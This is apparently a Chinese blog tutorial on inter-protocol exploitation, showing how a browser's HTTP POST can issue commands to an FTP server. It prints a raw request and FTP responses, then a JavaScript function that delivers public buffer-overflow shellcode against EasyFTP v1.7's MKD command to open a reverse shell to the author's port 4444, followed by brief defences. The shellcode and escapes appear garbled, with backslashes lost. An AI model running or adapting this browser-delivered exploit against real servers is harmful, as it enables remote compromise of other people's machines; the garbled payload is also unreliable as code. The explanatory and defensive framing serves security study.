linux x25协议通信,跨协议通信技术利用

# 什么是跨协议通信#

跨协议通信技术(Inter-Protocol Communication)是指两种不同的协议可以交换指令和数据的技术。其中一种称为目标协议,另外一种称为载体协议。目标协议就是我们最终想要通信的协议,而载体协议是用来封装我们最后想要发送的指令和数据。

这种类型的通信想要完成有两个必要条件:

1. 目标协议必须容错性比较好.这是因为我们是通过一个载体协议来传输指令的,这样就很可能会掺杂一些目标协议无法识别的指令。

2. 载体协议能够封装目标协议的指令.即使目标协议无法识别所有封装过的指令,也必须能够识别最终要的部分指令。

# 如何利用跨协议通信 #

跨协议漏洞利用(Inter-Protocol Expoitation)是通过一种协议去攻击运行另外一种协议的服务。

大家最关注的还是载体协议是HTTP的时候,因为这样攻击者就可以通过人人都有浏览器来发起攻击了。这种类型的攻击可以让攻击者访问到本来 只有受害者才有权访问的资源和服务(比如内网不对外开放的服务)。这个过程中受害者充当了一个傀儡的角色,接收并执行了有风险的代码.

一些用换行来作为命令分隔符的协议,比如SMTP,POP3,IRC和FTP都会受这种攻击的影响.这是因为当目标协议处理多行数据的时候是一行一行单独处理的.而这些协议的容错性都比较好.这就使得这些协议忽略掉识别不了的行,只执行可以识别的代码.

为了更好的理解跨协议通信,我们来看一个简单的例子.

# 示例一:通过HTTP连接FTP服务器 #

通过浏览器连接ftp服务器非常简单,一个HTTP POST请求就可以了.下面是一个连接本机的FTP服务器的代码.

假设这个FTP用户密码存在的话,提交这个表单就可以登录到FTP服务器了.是不是很简单.

具体发送的POST请求数据包如下:

POST / HTTP/1.1

Host: 127.0.0.1:21

User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-gb,en;q=0.5

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653

Content-Length: 304

-----------------------------63079936718166855021600323653

Content-Disposition: form-data; name="a"

user secforce

-----------------------------63079936718166855021600323653

Content-Disposition: form-data; name="a"

pass secforce

-----------------------------63079936718166855021600323653--

我们接收到返回数据如下.所有的50X错误对应服务器无法识别的HTTP行.FTP服务器忽略了他们,执行了它可以识别的命令.

220--------- Welcome to Pure-FTPd [privsep] [TLS] ----------

220-Local time is now 12:41. Server port: 21.

220-This is a private system - No anonymous login

220 You will be disconnected after 15 minutes of inactivity.

530 You aren't logged in

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

500 ?

331 User secforce OK. Password required

500 ?

500 ?

500 ?

230 OK. Current directory is /

500 ?

自己测试的话你可能发现并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR无法正 常工作.这是因为FTP是一种带外(out-of-band)协议,它的数据和控制指令是通过不同的TCP端口传送的.事实上,如果你尝试用STOR命令 上传一个文件到服务器上,会发现在服务器上创建了一个同名的空文件.这是因为在文件开始传输数据之前先创建一个空文件,所有的命令都不需要一个单独的数据 连接就可以工作。

让我们看一个更加有趣的例子。

# 示例2:通过HTTP溢出FTP服务器反弹shell #

这个例子中我们使用EasyFTP v1.7,这个版本存在一个MKD命令的缓冲区溢出漏洞.需要注意的是这个命令不需要一个额外的数据连 接通道就可以成功执行.我们在虚拟机里搭建好服务器(192.168.1.10),创建”anonymous”用户.因为成功利用这个漏洞的前提是先登录 到FTP服务器.

因为没有必要重复造轮子,这里我们直接使用一个公开的漏洞利用代码(参考资料[1]])来构造POST请求.这次使用javascript 来发送shellcode到FTP服务器.为了成功发送shellcode,我们使用了sendAsBinary函数,详情参考资料[2][3].

最后的函数如下:

function exploit(){

var url = 'http://192.168.1.10:21'

var intro = 'USER anonymousrnPASS anonymousrn'

var payload = 'MKD x89xe7x81xefx10xfexffxffxc7x07x13x57x7exd6x81xc7

x14xffxffxffxffxe7x43x43x43x43x43x43x43x43x43x43

xbaxaex16xd0x74xd9xccxd9x74x24xf4x5ex29xc9xb1x4f

x31x56x14x83xeexfcx03x56x10x4cxe3x2cx9cx19x0cxcd

x5dx79x84x28x6cxabxf2x39xddx7bx70x6fxeexf0xd4x84

x65x74xf1xabxcex32x27x85xcfxf3xe7x49x13x92x9bx93

x40x74xa5x5bx95x75xe2x86x56x27xbbxcdxc5xd7xc8x90

xd5xd6x1ex9fx66xa0x1bx60x12x1ax25xb1x8bx11x6dx29

xa7x7dx4ex48x64x9exb2x03x01x54x40x92xc3xa5xa9xa4

x2bx69x94x08xa6x70xd0xafx59x07x2axccxe4x1fxe9xae

x32xaaxecx09xb0x0cxd5xa8x15xcax9exa7xd2x99xf9xab

xe5x4ex72xd7x6ex71x55x51x34x55x71x39xeexf4x20xe7

x41x09x32x4fx3dxafx38x62x2axc9x62xebx9fxe7x9cxeb

xb7x70xeexd9x18x2ax78x52xd0xf4x7fx95xcbx40xefx68

xf4xb0x39xafxa0xe0x51x06xc9x6bxa2xa7x1cx3bxf2x07

xcfxfbxa2xe7xbfx93xa8xe7xe0x83xd2x2dx97x84x45x62

xb8x1ax92x12xbbx1ax8bxbex32xfcxc1x2execx41x40x00

x3ex23x1fx17x95xa3xbcx8ax72x33xcaxb6x2cx64x9bx09

x25xe0x31x33x9fx16xc8xa5xd8x92x17x16xe6x1bxd5x22

xccx0bx23xaax48x7fxfbxfdx06x29xbdx57xe9x83x17x0b

xa3x43xe1x67x74x15xeexadx02xf9x5fx18x53x06x6fxcc

x53x7fx8dx6cx9bxaax15x8cx7ex7ex60x25x27xebxc9x28

xd8xc6x0ex55x5bxe2xeexa2x43x87xebxefxc3x74x86x60

xa6x7ax35x80xe3'

var req = new XMLHttpRequest();

req.open('POST', url, true);

req.setRequestHeader('Content-Type', 'text/plain');

req.setRequestHeader('Content-Length', '20');

req.sendAsBinary(intro + payload + 'rn'); // neat way to send hexadecimal code through HTTP

}

这里的payload选用了反弹shell到我们自己主机的端口4444.然后用nc监听.当在浏览器中访问嵌入了上面js代码的网页时.奇迹发生了.

# 如何防御攻击 #

1. 屏蔽端口.默认情况下,大部分浏览器会拒绝连接到一些著名的端口,比如21/FTP,25/SMTP等.这种保护方式可以通过修改浏览器配置或者使用非标准端口突破.

2. 更少的容错性.一些协议接受到无法识别的命令的时候会关闭连接.这样子降低了灵活性但是增强了抵御跨协议攻击的能力.更好一点的做法是连续接收到无法识别的命令后关闭连接.

## 结论 ##

正如上面提到的,这种攻击方式有很多限制.通常情况下,想要达到同样的结果有很多比跨协议攻击更好的方式.但是在特定的环境下,这种类型的攻击是一种很有效的攻击方式.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值